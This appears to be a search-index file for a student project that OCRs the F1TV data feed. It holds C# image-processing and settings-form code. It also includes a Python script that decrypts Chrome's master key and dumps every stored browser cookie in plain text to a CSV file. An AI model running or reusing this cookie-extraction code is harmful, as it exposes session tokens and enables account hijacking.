inputBitmap.Height - kernelSize / 2; y++) { for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++) { bool flag = true; for (int i = -kernelSize / 2; i <= kernelSize / 2; i++) { for (int j = -kernelSize / 2; j <= kernelSize / 2; j++) { Color pixel = inputBitmap.GetPixel(x + i, y + j); int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11); if (gray >= 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1) { flag = false; break; } } if (!flag) { break; } } if (flag) { outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255)); } else { outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0)); } } } return outputBitmap; } /// /// Method that that use dilatation of the morphology of a bitmap /// /// The bitmap you want to use dilatation on /// The amount of dilatation you want (be carefull its expensive on ressources) /// The Bitmap after Dilatation public static Bitmap Dilatation(Bitmap inputBitmap, int kernelSize) { Bitmap outputBitmap = new Bitmap(inputBitmap.Width, inputBitmap.Height); int[,] kernel = new int[kernelSize, kernelSize]; for (int i = 0; i < kernelSize; i++) { for (int j = 0; j < kernelSize; j++) { kernel[i, j] = 1; } } for (int y = kernelSize / 2; y < inputBitmap.Height - kernelSize / 2; y++) { for (int x = kernelSize / 2; x < inputBitmap.Width - kernelSize / 2; x++) { bool flag = false; for (int i = -kernelSize / 2; i <= kernelSize / 2; i++) { for (int j = -kernelSize / 2; j <= kernelSize / 2; j++) { Color pixel = inputBitmap.GetPixel(x + i, y + j); int gray = (int)(pixel.R * 0.3 + pixel.G * 0.59 + pixel.B * 0.11); if (gray < 128 && kernel[i + kernelSize / 2, j + kernelSize / 2] == 1) { flag = true; break; } } if (flag) { break; } } if (flag) { outputBitmap.SetPixel(x, y, Color.FromArgb(0, 0, 0)); } else { outputBitmap.SetPixel(x, y, Color.FromArgb(255, 255, 255)); } } } return outputBitmap; } } }","title":"OcrImage.cs"},{"location":"Code/Settings.html","text":"Settings.cs \ufeffusing System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; namespace Test_Merge { public partial class Settings : Form { private string _grandPrixUrl = \"\"; private string _grandPrixName = \"\"; private int _grandPrixYear = 2000; private List _driverList = new List(); private F1TVEmulator Emulator = null; private ConfigurationTool Config = null; private bool CreatingZone = false; private Point ZoneP1; private Point ZoneP2; private bool CreatingWindow = false; private Point WindowP1; private Point WindowP2; List WindowsToAdd = new List(); public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; } public string GrandPrixName { get => _grandPrixName; private set => _grandPrixName = value; } public int GrandPrixYear { get => _grandPrixYear; private set => _grandPrixYear = value; } public List DriverList { get => _driverList; private set => _driverList = value; } public Settings() { InitializeComponent(); Load(); } private void Load() { RefreshUI(); } private void RefreshUI() { lsbDrivers.DataSource = null; lsbDrivers.DataSource = DriverList; if (Directory.Exists(ConfigurationTool.CONFIGS_FOLDER_NAME)) { lsbPresets.DataSource = null; lsbPresets.DataSource = Directory.GetFiles(ConfigurationTool.CONFIGS_FOLDER_NAME); } if (CreatingZone) { if (ZoneP1 == new Point(-1, -1)) { lblZonePointsRemaning.Text = \"2 points Remaining\"; } else { lblZonePointsRemaning.Text = \"1 point Remaining\"; } } else { lblZonePointsRemaning.Text = \"\"; } if (CreatingWindow) { if (WindowP1 == new Point(-1, -1)) { lblWindowPointsRemaining.Text = \"2 points Remaining\"; } else { lblWindowPointsRemaining.Text = \"1 point Remaining\"; } lblWindowPointsRemaining.Text = ConfigurationTool.NUMBER_OF_ZONES - WindowsToAdd.Count() + \" Windows remaining\"; } else { lblWindowPointsRemaining.Text = \"\"; lblWindowsRemaining.Text = \"\"; } if (Config != null) { pbxMain.Image = Config.MainZone.Draw(); if(Config.MainZone.Zones.Count > 0) pbxDriverZone.Image = Config.MainZone.Zones[0].Draw(); } } private void CreateNewZone(Point p1, Point p2) { Rectangle dimensions = CreateAbsoluteRectangle(p1, p2); Config = new ConfigurationTool((Bitmap)pbxMain.Image, dimensions); RefreshUI(); } private void CreateWindows(List dimensions) { if (Config != null) { Config.AddWindows(dimensions); } } private void tbxGpUrl_TextChanged(object sender, EventArgs e) { GrandPrixUrl = tbxGpUrl.Text; } private void tbxGpName_TextChanged(object sender, EventArgs e) { GrandPrixName = tbxGpName.Text; } private void tbxGpYear_TextChanged(object sender, EventArgs e) { int year; try { year = Convert.ToInt32(tbxGpYear.Text); } catch { year = 1545; } GrandPrixYear = year; } private void btnAddDriver_Click(object sender, EventArgs e) { string newDriver = tbxDriverName.Text; DriverList.Add(newDriver); tbxDriverName.Text = \"\"; RefreshUI(); } private void btnRemoveDriver_Click(object sender, EventArgs e) { if (lsbDrivers.SelectedIndex >= 0) { DriverList.RemoveAt(lsbDrivers.SelectedIndex); } RefreshUI(); } private void SwitchZoneCreation() { if (CreatingZone) { CreatingZone = false; lblZonePointsRemaning.Text = \"\"; } else { CreatingZone = true; if (Config != null) Config.ResetMainZone(); if (CreatingWindow) SwitchWindowCreation(); if (Emulator != null && Emulator.Ready) { Config = null; pbxMain.Image = Emulator.Screenshot(); } ZoneP1 = new Point(-1, -1); ZoneP2 = new Point(-1, -1); lblZonePointsRemaning.Text = \"2 Points left\"; } RefreshUI(); } private void SwitchWindowCreation() { if (CreatingWindow) { CreatingWindow = false; } else { CreatingWindow = true; if (Config != null) Config.ResetWindows(); if (CreatingZone) SwitchZoneCreation(); WindowP1 = new Point(-1, -1); WindowP2 = new Point(-1, -1); WindowsToAdd = new List(); } RefreshUI(); } private void btnCreatZone_Click(object sender, EventArgs e) { SwitchZoneCreation(); } private void btnCreateWindow_Click(object sender, EventArgs e) { SwitchWindowCreation(); } private void pbxMain_MouseClick(object sender, MouseEventArgs e) { if (CreatingZone && pbxMain.Image != null) { //Point coordinates = pbxMain.PointToClient(new Point(MousePosition.X, MousePosition.Y)); Point coordinates = e.Location; float xOffset = (float)pbxMain.Image.Width / (float)pbxMain.Width; float yOffset = (float)pbxMain.Image.Height / (float)pbxMain.Height; Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset)); //MessageBox.Show(\"Coordinates\" + Environment.NewLine + \"Old : \" + coordinates.ToString() + Environment.NewLine + \"New : \" + newPoint.ToString()); if (ZoneP1 == new Point(-1, -1)) { ZoneP1 = newPoint; } else { ZoneP2 = newPoint; CreateNewZone(ZoneP1, ZoneP2); SwitchZoneCreation(); } RefreshUI(); } } private void pbxMain_Click(object sender, EventArgs e) { //Not the right one to use visibly } private void pbxDriverZone_MouseClick(object sender, MouseEventArgs e) { if (CreatingWindow && pbxDriverZone.Image != null) { Point coordinates = e.Location; float xOffset = (float)pbxDriverZone.Image.Width / (float)pbxDriverZone.Width; float yOffset = (float)pbxDriverZone.Image.Height / (float)pbxDriverZone.Height; Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset)); if (WindowP1 == new Point(-1, -1)) { WindowP1 = newPoint; } else { WindowP2 = newPoint; WindowsToAdd.Add(CreateAbsoluteRectangle(WindowP1, WindowP2)); if (WindowsToAdd.Count < ConfigurationTool.NUMBER_OF_ZONES) { WindowP1 = new Point(-1, -1); WindowP2 = new Point(-1, -1); } else { WindowP1 = new Point(WindowP1.X, 0); WindowP2 = new Point(WindowP2.X, pbxDriverZone.Image.Height); CreateWindows(WindowsToAdd); SwitchWindowCreation(); } } RefreshUI(); } } private void pbxDriverZone_Click(object sender, EventArgs e) { //Not the right one to use visibly } private Rectangle CreateAbsoluteRectangle(Point p1, Point p2) { Point newP1 = new Point(); Point newP2 = new Point(); if (p1.X < p2.X) { newP1.X = p1.X; newP2.X = p2.X; } else { newP1.X = p2.X; newP2.X = p1.X; } if (p1.Y < p2.Y) { newP1.Y = p1.Y; newP2.Y = p2.Y; } else { newP1.Y = p2.Y; newP2.Y = p1.Y; } return new Rectangle(newP1.X, newP1.Y, newP2.X - newP1.X, newP2.Y - newP1.Y); } private async void btnRefresh_Click(object sender, EventArgs e) { btnRefresh.Enabled = false; if (Emulator == null || Emulator.GrandPrixUrl != tbxGpUrl.Text) { Emulator = new F1TVEmulator(tbxGpUrl.Text); } if (!Emulator.Ready) { Task start = Task.Run(() => Emulator.Start()); int errorCode = await start; if (errorCode != 0) { string message; switch (errorCode) { case 101: message = \"Error \" + errorCode + \" Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again\"; break; case 102: message = \"Error \" + errorCode + \" Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update\"; break; case 103: message = \"Error \" + errorCode + \" The url is not a valid url\"; break; case 104: message = \"Error \" + errorCode + \" The url is not a valid url\"; break; case 105: message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\"; break; case 106: message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\"; break; default: message = \"Could not start the emulator Error \" + errorCode; break; } MessageBox.Show(message); } else { pbxMain.Image = Emulator.Screenshot(); } } else { pbxMain.Image = Emulator.Screenshot(); } btnRefresh.Enabled = true; } private void Settings_FormClosing(object sender, FormClosingEventArgs e) { if (Emulator != null) { Emulator.Stop(); } } private void btnResetDriver_Click(object sender, EventArgs e) { if (Emulator != null) { Emulator.ResetDriver(); } } private void btnSavePreset_Click(object sender, EventArgs e) { string presetName = tbxPresetName.Text; if (Config != null) { Config.SaveToJson(DriverList,presetName); } RefreshUI(); } private void lsbPresets_SelectedIndexChanged(object sender, EventArgs e) { //Nothing } private void btnLoadPreset_Click(object sender, EventArgs e) { if (lsbPresets.SelectedIndex >= 0 && pbxMain.Image != null) { try { Reader reader = new Reader(lsbPresets.Items[lsbPresets.SelectedIndex].ToString(), (Bitmap)pbxMain.Image,false); //MainZones #0 is the big main zone containing driver zones Config = new ConfigurationTool((Bitmap)pbxMain.Image, reader.MainZones[0].Bounds); Config.MainZone = reader.MainZones[0]; DriverList = reader.Drivers; } catch (Exception ex) { MessageBox.Show(\"Could not load the settings error :\" + ex); } RefreshUI(); } } } }","title":"Settings.cs"},{"location":"Code/Settings.html#settingscs","text":"\ufeffusing System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; namespace Test_Merge { public partial class Settings : Form { private string _grandPrixUrl = \"\"; private string _grandPrixName = \"\"; private int _grandPrixYear = 2000; private List _driverList = new List(); private F1TVEmulator Emulator = null; private ConfigurationTool Config = null; private bool CreatingZone = false; private Point ZoneP1; private Point ZoneP2; private bool CreatingWindow = false; private Point WindowP1; private Point WindowP2; List WindowsToAdd = new List(); public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; } public string GrandPrixName { get => _grandPrixName; private set => _grandPrixName = value; } public int GrandPrixYear { get => _grandPrixYear; private set => _grandPrixYear = value; } public List DriverList { get => _driverList; private set => _driverList = value; } public Settings() { InitializeComponent(); Load(); } private void Load() { RefreshUI(); } private void RefreshUI() { lsbDrivers.DataSource = null; lsbDrivers.DataSource = DriverList; if (Directory.Exists(ConfigurationTool.CONFIGS_FOLDER_NAME)) { lsbPresets.DataSource = null; lsbPresets.DataSource = Directory.GetFiles(ConfigurationTool.CONFIGS_FOLDER_NAME); } if (CreatingZone) { if (ZoneP1 == new Point(-1, -1)) { lblZonePointsRemaning.Text = \"2 points Remaining\"; } else { lblZonePointsRemaning.Text = \"1 point Remaining\"; } } else { lblZonePointsRemaning.Text = \"\"; } if (CreatingWindow) { if (WindowP1 == new Point(-1, -1)) { lblWindowPointsRemaining.Text = \"2 points Remaining\"; } else { lblWindowPointsRemaining.Text = \"1 point Remaining\"; } lblWindowPointsRemaining.Text = ConfigurationTool.NUMBER_OF_ZONES - WindowsToAdd.Count() + \" Windows remaining\"; } else { lblWindowPointsRemaining.Text = \"\"; lblWindowsRemaining.Text = \"\"; } if (Config != null) { pbxMain.Image = Config.MainZone.Draw(); if(Config.MainZone.Zones.Count > 0) pbxDriverZone.Image = Config.MainZone.Zones[0].Draw(); } } private void CreateNewZone(Point p1, Point p2) { Rectangle dimensions = CreateAbsoluteRectangle(p1, p2); Config = new ConfigurationTool((Bitmap)pbxMain.Image, dimensions); RefreshUI(); } private void CreateWindows(List dimensions) { if (Config != null) { Config.AddWindows(dimensions); } } private void tbxGpUrl_TextChanged(object sender, EventArgs e) { GrandPrixUrl = tbxGpUrl.Text; } private void tbxGpName_TextChanged(object sender, EventArgs e) { GrandPrixName = tbxGpName.Text; } private void tbxGpYear_TextChanged(object sender, EventArgs e) { int year; try { year = Convert.ToInt32(tbxGpYear.Text); } catch { year = 1545; } GrandPrixYear = year; } private void btnAddDriver_Click(object sender, EventArgs e) { string newDriver = tbxDriverName.Text; DriverList.Add(newDriver); tbxDriverName.Text = \"\"; RefreshUI(); } private void btnRemoveDriver_Click(object sender, EventArgs e) { if (lsbDrivers.SelectedIndex >= 0) { DriverList.RemoveAt(lsbDrivers.SelectedIndex); } RefreshUI(); } private void SwitchZoneCreation() { if (CreatingZone) { CreatingZone = false; lblZonePointsRemaning.Text = \"\"; } else { CreatingZone = true; if (Config != null) Config.ResetMainZone(); if (CreatingWindow) SwitchWindowCreation(); if (Emulator != null && Emulator.Ready) { Config = null; pbxMain.Image = Emulator.Screenshot(); } ZoneP1 = new Point(-1, -1); ZoneP2 = new Point(-1, -1); lblZonePointsRemaning.Text = \"2 Points left\"; } RefreshUI(); } private void SwitchWindowCreation() { if (CreatingWindow) { CreatingWindow = false; } else { CreatingWindow = true; if (Config != null) Config.ResetWindows(); if (CreatingZone) SwitchZoneCreation(); WindowP1 = new Point(-1, -1); WindowP2 = new Point(-1, -1); WindowsToAdd = new List(); } RefreshUI(); } private void btnCreatZone_Click(object sender, EventArgs e) { SwitchZoneCreation(); } private void btnCreateWindow_Click(object sender, EventArgs e) { SwitchWindowCreation(); } private void pbxMain_MouseClick(object sender, MouseEventArgs e) { if (CreatingZone && pbxMain.Image != null) { //Point coordinates = pbxMain.PointToClient(new Point(MousePosition.X, MousePosition.Y)); Point coordinates = e.Location; float xOffset = (float)pbxMain.Image.Width / (float)pbxMain.Width; float yOffset = (float)pbxMain.Image.Height / (float)pbxMain.Height; Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset)); //MessageBox.Show(\"Coordinates\" + Environment.NewLine + \"Old : \" + coordinates.ToString() + Environment.NewLine + \"New : \" + newPoint.ToString()); if (ZoneP1 == new Point(-1, -1)) { ZoneP1 = newPoint; } else { ZoneP2 = newPoint; CreateNewZone(ZoneP1, ZoneP2); SwitchZoneCreation(); } RefreshUI(); } } private void pbxMain_Click(object sender, EventArgs e) { //Not the right one to use visibly } private void pbxDriverZone_MouseClick(object sender, MouseEventArgs e) { if (CreatingWindow && pbxDriverZone.Image != null) { Point coordinates = e.Location; float xOffset = (float)pbxDriverZone.Image.Width / (float)pbxDriverZone.Width; float yOffset = (float)pbxDriverZone.Image.Height / (float)pbxDriverZone.Height; Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset)); if (WindowP1 == new Point(-1, -1)) { WindowP1 = newPoint; } else { WindowP2 = newPoint; WindowsToAdd.Add(CreateAbsoluteRectangle(WindowP1, WindowP2)); if (WindowsToAdd.Count < ConfigurationTool.NUMBER_OF_ZONES) { WindowP1 = new Point(-1, -1); WindowP2 = new Point(-1, -1); } else { WindowP1 = new Point(WindowP1.X, 0); WindowP2 = new Point(WindowP2.X, pbxDriverZone.Image.Height); CreateWindows(WindowsToAdd); SwitchWindowCreation(); } } RefreshUI(); } } private void pbxDriverZone_Click(object sender, EventArgs e) { //Not the right one to use visibly } private Rectangle CreateAbsoluteRectangle(Point p1, Point p2) { Point newP1 = new Point(); Point newP2 = new Point(); if (p1.X < p2.X) { newP1.X = p1.X; newP2.X = p2.X; } else { newP1.X = p2.X; newP2.X = p1.X; } if (p1.Y < p2.Y) { newP1.Y = p1.Y; newP2.Y = p2.Y; } else { newP1.Y = p2.Y; newP2.Y = p1.Y; } return new Rectangle(newP1.X, newP1.Y, newP2.X - newP1.X, newP2.Y - newP1.Y); } private async void btnRefresh_Click(object sender, EventArgs e) { btnRefresh.Enabled = false; if (Emulator == null || Emulator.GrandPrixUrl != tbxGpUrl.Text) { Emulator = new F1TVEmulator(tbxGpUrl.Text); } if (!Emulator.Ready) { Task start = Task.Run(() => Emulator.Start()); int errorCode = await start; if (errorCode != 0) { string message; switch (errorCode) { case 101: message = \"Error \" + errorCode + \" Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again\"; break; case 102: message = \"Error \" + errorCode + \" Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update\"; break; case 103: message = \"Error \" + errorCode + \" The url is not a valid url\"; break; case 104: message = \"Error \" + errorCode + \" The url is not a valid url\"; break; case 105: message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\"; break; case 106: message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\"; break; default: message = \"Could not start the emulator Error \" + errorCode; break; } MessageBox.Show(message); } else { pbxMain.Image = Emulator.Screenshot(); } } else { pbxMain.Image = Emulator.Screenshot(); } btnRefresh.Enabled = true; } private void Settings_FormClosing(object sender, FormClosingEventArgs e) { if (Emulator != null) { Emulator.Stop(); } } private void btnResetDriver_Click(object sender, EventArgs e) { if (Emulator != null) { Emulator.ResetDriver(); } } private void btnSavePreset_Click(object sender, EventArgs e) { string presetName = tbxPresetName.Text; if (Config != null) { Config.SaveToJson(DriverList,presetName); } RefreshUI(); } private void lsbPresets_SelectedIndexChanged(object sender, EventArgs e) { //Nothing } private void btnLoadPreset_Click(object sender, EventArgs e) { if (lsbPresets.SelectedIndex >= 0 && pbxMain.Image != null) { try { Reader reader = new Reader(lsbPresets.Items[lsbPresets.SelectedIndex].ToString(), (Bitmap)pbxMain.Image,false); //MainZones #0 is the big main zone containing driver zones Config = new ConfigurationTool((Bitmap)pbxMain.Image, reader.MainZones[0].Bounds); Config.MainZone = reader.MainZones[0]; DriverList = reader.Drivers; } catch (Exception ex) { MessageBox.Show(\"Could not load the settings error :\" + ex); } RefreshUI(); } } } }","title":"Settings.cs"},{"location":"Code/recoverCookiesCSV.html","text":"recoverCookiesCSV.py # Rohmer Maxime # RecoverCookies.py # Little script that recovers the cookies stored in the chrome sqlite database and then decrypts them using the key stored in the chrome files # This script has been created to be used by an other programm or for the data to not be used directly. This is why it stores all the decoded cookies in a csv. (Btw could be smart for the end programm to delete the csv after using it) # Parts of this cript have been created with the help of ChatGPT import os import json import base64 import sqlite3 import win32crypt from Cryptodome.Cipher import AES from pathlib import Path import csv def get_master_key(): with open( os.getenv(\"localappdata\") + \"\\\\Google\\\\Chrome\\\\User Data\\\\Local State\", \"r\" ) as f: local_state = f.read() local_state = json.loads(local_state) master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"]) master_key = master_key[5:] # removing DPAPI master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1] print(\"MASTER KEY :\") print(master_key) print(len(master_key)) return master_key def decrypt_payload(cipher, payload): return cipher.decrypt(payload) def generate_cipher(aes_key, iv): return AES.new(aes_key, AES.MODE_GCM, iv) def decrypt_password(buff, master_key): try: iv = buff[3:15] payload = buff[15:] cipher = generate_cipher(master_key, iv) decrypted_pass = decrypt_payload(cipher, payload) decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes return decrypted_pass except Exception: # print(\"Probably saved password from Chrome version older than v80\\n\") # print(str(e)) return \"Chrome < 80\" master_key = get_master_key() cookies_path = Path( os.getenv(\"localappdata\") + \"\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Network\\\\Cookies\" ) if not cookies_path.exists(): raise ValueError(\"Cookies file not found\") with sqlite3.connect(cookies_path) as connection: connection.row_factory = sqlite3.Row cursor = connection.cursor() cursor.execute(\"SELECT * FROM cookies\") with open('cookies.csv', 'a', newline='') as csvfile: fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly'] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) if csvfile.tell() == 0: writer.writeheader() for row in cursor.fetchall(): decrypted_value = decrypt_password(row[\"encrypted_value\"], master_key) writer.writerow({ 'host_key': row[\"host_key\"], 'name': row[\"name\"], 'value': decrypted_value, 'path': row[\"path\"], 'expires_utc': row[\"expires_utc\"], 'is_secure': row[\"is_secure\"], 'is_httponly': row[\"is_httponly\"] }) print(\"Finished CSV\")","title":"recoverCookiesCSV.py"},{"location":"Code/recoverCookiesCSV.html#recovercookiescsvpy","text":"# Rohmer Maxime # RecoverCookies.py # Little script that recovers the cookies stored in the chrome sqlite database and then decrypts them using the key stored in the chrome files # This script has been created to be used by an other programm or for the data to not be used directly. This is why it stores all the decoded cookies in a csv. (Btw could be smart for the end programm to delete the csv after using it) # Parts of this cript have been created with the help of ChatGPT import os import json import base64 import sqlite3 import win32crypt from Cryptodome.Cipher import AES from pathlib import Path import csv def get_master_key(): with open( os.getenv(\"localappdata\") + \"\\\\Google\\\\Chrome\\\\User Data\\\\Local State\", \"r\" ) as f: local_state = f.read() local_state = json.loads(local_state) master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"]) master_key = master_key[5:] # removing DPAPI master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1] print(\"MASTER KEY :\") print(master_key) print(len(master_key)) return master_key def decrypt_payload(cipher, payload): return cipher.decrypt(payload) def generate_cipher(aes_key, iv): return AES.new(aes_key, AES.MODE_GCM, iv) def decrypt_password(buff, master_key): try: iv = buff[3:15] payload = buff[15:] cipher = generate_cipher(master_key, iv) decrypted_pass = decrypt_payload(cipher, payload) decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes return decrypted_pass except Exception: # print(\"Probably saved password from Chrome version older than v80\\n\") # print(str(e)) return \"Chrome < 80\" master_key = get_master_key() cookies_path = Path( os.getenv(\"localappdata\") + \"\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Network\\\\Cookies\" ) if not cookies_path.exists(): raise ValueError(\"Cookies file not found\") with sqlite3.connect(cookies_path) as connection: connection.row_factory = sqlite3.Row cursor = connection.cursor() cursor.execute(\"SELECT * FROM cookies\") with open('cookies.csv', 'a', newline='') as csvfile: fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly'] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) if csvfile.tell() == 0: writer.writeheader() for row in cursor.fetchall(): decrypted_value = decrypt_password(row[\"encrypted_value\"], master_key) writer.writerow({ 'host_key': row[\"host_key\"], 'name': row[\"name\"], 'value': decrypted_value, 'path': row[\"path\"], 'expires_utc': row[\"expires_utc\"], 'is_secure': row[\"is_secure\"], 'is_httponly': row[\"is_httponly\"] }) print(\"Finished CSV\")","title":"recoverCookiesCSV.py"}]} \ No newline at end of file +{"config":{"indexing":"full","lang":["en"],"min_search_length":3,"prebuild_index":false,"separator":"[\\s\\-]+"},"docs":[{"location":"index.html","text":"Rapport Track Trends V1.0 Rohmer Maxime Travail de dipl\u00f4me Technicien ES 2023 Introduction R\u00e9sum\u00e9 Track Trends est un outil de r\u00e9cup\u00e9ration et d'analyse de donn\u00e9es de courses de Formule 1. Pour le contexte, en dehors des cours, j'exerce diff\u00e9rentes activit\u00e9s dont celle de Live Ticker F1 pour le 20 minutes. Pour m'aider dans ce travail, j'utilise actuellement la F1TV \u00e0 laquelle je suis abonn\u00e9 qui me propose non seulement un feed vid\u00e9o de meilleure qualit\u00e9 avec des commentaires plus pertinents que ceux de la RTS mais qui aussi me permet d'acc\u00e9der \u00e0 un feed vid\u00e9o tr\u00e8s important : la chaine data. Ce dernier ressemble \u00e0 cela : \"Screenshot du feed data de la f1tv\" (Attention ce n'est pas un joli tableau HTML, mais bien une vid\u00e9o qui contient un tableau.) Sauf que toutes les informations sont \u00e9tal\u00e9es p\u00eale-m\u00eale sans hi\u00e9rarchie ce qui fait que cela me prendrait trop de temps de tout d\u00e9chiffrer \u00e0 chaque fois, ce qui me fait rater des choses int\u00e9ressantes. Le but du projet est donc de fournir un outil qui hi\u00e9rarchise et affiche diff\u00e9remment les donn\u00e9es pour faciliter leur lecture et me permettre de faire de meilleurs commentaires. Abstract Track Trends is a Formula 1 data is a tool that displays and interpret data. To understand everything,first ,a little bit of context. In my free time I have multiple activities and one is to be the Live Ticker F1 for the local journal \"20 minutes\" (Owned by Tamedia). to help me in this work I'm currently using the F1TV to which I'm currently subscribed because it provides me with a better video feed with better commentary than the ones from the RTS (in my opinion) but also because it gives me access to a very important video feed : the data channel You can see in the chapter above an example of the F1TV DATA CHANNEL. [Note : Even tough it looks like a pretty HTML table on wich you could easely get infos... Its not. Its a video feed] You can see a lot of data all well and good BUT! All the data is displayed the same in a big table which make it really hard to read totally in a hurry, which means that I miss a lot of useful information. The point of the project then is to provide a tool that can display those data by taking into account their relevance. So for example a driver that is 10s away from everyone and that is doing some normal lapTimes will be less displayed or even not displayed at all so I can focus on the drivers that are battling each others. This tool would help me not miss the battles and details that are happening in the back and therefore not being broadcasted on TV.And it could be a usefull tool for anyone who wants a better insight of how the race is going by looking at the data. This kind of project already exists in the form of the AWS tool \"F1 Insight\" but it is not avaible to the public. We can only see some of its predictions (that are trash) and data dumps in the live feed when the TV directors feel like it. Description du besoin Comme expliqu\u00e9 dans le r\u00e9sum\u00e9, je suis Live Ticker F1. Mais pour mieux comprendre le besoin que j'ai, je pense qu'il est pertinent de comprendre comment je travaille. Pendant un Grand Prix de Formule 1 j'ai plusieurs t\u00e2ches \u00e0 effectuer : Suivre les diff\u00e9rents \u00e9v\u00e8nements du Grand Prix Changer le titre et la photo de titre du Live Chercher des Tweets ou des Images \u00e0 int\u00e9grer Ecrire les commentaires en faisant attention \u00e0 dire ce qu'il se passe mais aussi l\u2019expliquer, ce que cela implique, mais aussi ce que cela veut dire pour le reste de la course. Comprendre et expliquer les strat\u00e9gies Tout cela toutes les cinq minutes max... Cela veut dire que je dois \u00eatre le plus rapide possible quand je cherche des informations. Et comme le tableau en comporte trop et bien, je suis oblig\u00e9 de le lire en diagonale. Par exemple dans le tableau, les infos que je cherche le plus sont : Le nombre de places gagn\u00e9es (surtout au d\u00e9part) Les \u00e9carts entre les pilotes (surtout ceux qui sont en dessous de deux secondes). Les pneus de chaque pilote et combien de tours, ils ont fait dessus Les temps d'arr\u00eats aux stands Les temps au tour (surtout pour la strat\u00e9gie) Mais pleins d'autres informations existent si on les recoupe sur plusieurs tours. Un outil qui permettrait de mettre en \u00e9vidence les informations importantes serait donc une tr\u00e8s grosse plus-value pour mon travail et s'il est facile \u00e0 installer et \u00e0 utiliser, il se pourrait qu'il devienne indispensable. Cahier des charges Il s'agit d'une version coup\u00e9e du cahier des charges qui ne contient pas l'explication du contexte. Mais l'original est disponible sur ce site \u00e9galement. Il est toutefois normal d'y voir des choses r\u00e9p\u00e9t\u00e9es ou l\u00e9g\u00e8rement diff\u00e9rentes, en effet, il n'a pas \u00e9t\u00e9 \u00e9crit en m\u00eame temps que le reste de ce document. Projet Un outil de style compagnon sous forme d'application C# Windows Form qui r\u00e9cup\u00e8re en temps r\u00e9el les informations de la course et affiche les informations les plus importantes. Le but est non seulement de faciliter mon job, mais aussi faire en sorte d'am\u00e9liorer la plus-value de mon travail en me permettant de fournir des commentaires qui ne sont pas disponibles pour le tout venant qui regarde simplement le flux RTS. Exemples : Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand Maintenant afficher diff\u00e9remment les infos, c'est sympa, mais cela serait encore mieux de traiter ces data et de permettre des petites pr\u00e9dictions. Exemples : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents R\u00e9alisation Malheureusement, la Formula 1 Management ne propose aucune API publique qui puisse nous permettre de faire ce projet \"simplement\". La raison la plus probable \u00e9tant qu'Amazon avec son service AWS propose exactement ce genre de services pour le flux t\u00e9l\u00e9vis\u00e9 et il doit y avoir un contrat d'exclusivit\u00e9. Il existe des API \"Pirates\" faites par la communaut\u00e9, le probl\u00e8me est qu'elles ne sont pas forc\u00e9ment des plus pratiques \u00e0 utiliser. Mais comme je poss\u00e8de un abonnement premium ++ \u00e0 la F1TV, j'ai acc\u00e8s pour chaque grand prix \u00e0 un flux vid\u00e9o nomm\u00e9 : DATA F1 CHANNEL Qui ressemble \u00e0 \u00e7a : \"Exemple de la Data Channel\" Donc la seule fa\u00e7on que je vois de r\u00e9cup\u00e9rer ces donn\u00e9es est de les prendre directement sur ce feed. M\u00eame si le but final de l'application est de faire pleins de choses super avec les datas, le gros du projet va surtout \u00eatre la r\u00e9cup\u00e9ration des donn\u00e9es et leur stockage. Les donn\u00e9es viennent du flux vid\u00e9o et ainsi dans un premier temps, il va falloir r\u00e9cup\u00e9rer d'une mani\u00e8re ou d'une autre des images qui viennent d'un grand prix en direct ou en rediffusion. Ensuite, dans un second temps, il faut lire les informations directement sur l'image en utilisant une librairie pr\u00e9vue pour (exemple Tesseract) et v\u00e9rifier l'int\u00e9grit\u00e9 de ces derni\u00e8res pour qu'on puisse ensuite les stocker. Dans un 